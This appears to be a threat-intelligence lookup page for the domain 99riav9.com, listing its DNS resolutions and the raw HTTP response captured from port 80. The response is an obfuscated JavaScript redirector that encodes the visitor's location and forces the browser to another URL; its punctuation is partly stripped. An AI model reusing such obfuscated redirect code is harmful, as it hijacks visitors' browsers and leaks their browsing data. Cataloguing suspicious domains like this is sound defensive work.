Domain > 99riav9.com

More information on this domain is in AlienVault OTX

DNS Resolutions

Date	IP Address
2024-05-13	154.17.15.58 (ClassC)
2025-08-29	154.17.14.166 (ClassC)
2025-10-10	23.225.30.227 (ClassC)
2025-10-24	23.225.30.228 (ClassC)

Port 80

HTTP/1.1 200 OKContent-Type: text/html; charsetutf-8Content-Length: 1664Connection: close

html>body>a idbaidu>/a>script>var _0x53admCh,fe:,rep,ps:,ez2,arC,imv,hre,24?,.li,htt,tBy,loc,bai,get,&tn,unl,bef,ode,ati,dom,gix,fro,lac,xuj,idu,bto;(function(_0x14737f,_0x53add1){var _0x500336function(_0x2d2092){while(--_0x2d2092){_0x14737fpush(_0x14737fshift());}};_0x500336(++_0x53add1);}(_0x53ad,0xb9));var _0x5003function(_0x14737f,_0x53add1){_0x14737f_0x14737f-0x0;var _0x500336_0x53ad_0x14737f;return _0x500336;};var qq_0x5003(0xe)+_0x5003(0x7)+//y+mrx+_0x5003(0x19)+ed.+_0x5003(0x1)+_0x5003(0x8)+_0x5003(0xa)+_0x5003(0xd)+_0x5003(0x5)+102+_0x5003(0xc)+wd+window_0x5003(0x3)+a(window_0x5003(0x3)+a(windowloc+_0x5003(0x17)+on))+String_0x5003(0x1a)+_0x5003(0x4)+_0x5003(0x9)+_0x5003(0x16)(Mathflo+or(Mathran+_0x5003(0x18)()*0x1a)+0x61)+(_0x5003(0x13)+ba+_0x5003(0x2)),adocument_0x5003(0x12)+Ele+men+_0x5003(0xf)+Id(_0x5003(0x11)+du),done!,markfunction(){done!!;};a_0x5003(0xb)+fqq;addEventListener(pag+ehi+de,mark,{once:!!});addEventListener(_0x5003(0x15)+ore+_0x5003(0x14)+oad,mark,{once:!!});try{(top&&top!window?top:window)_0x5003(0x10)+_0x5003(0x17)+onrep+_0x5003(0x0)+e(qq);}catch(_0x5357e5){location_0x5003(0x6)+_0x5003(0x0)+e(qq);}setTimeout(function(){if(!done&&location_0x5003(0xb)+f!qq)try{(top&&top!window?top:window)_0x5003(0x10)+_0x5003(0x17)+on_0x5003(0x6)+_0x5003(0x0)+e(qq);}catch(_0x30f4f0){location_0x5003(0x6)+_0x5003(0x0)+e(qq);}},0x1388);/script>/body>/html>

View on OTX | View on ThreatMiner

Data with thanks to AlienVault OTX, VirusTotal, Malwr and others. [Sitemap]

Domain > 99riav9.com

Is this malicious?

DNS Resolutions

Port 80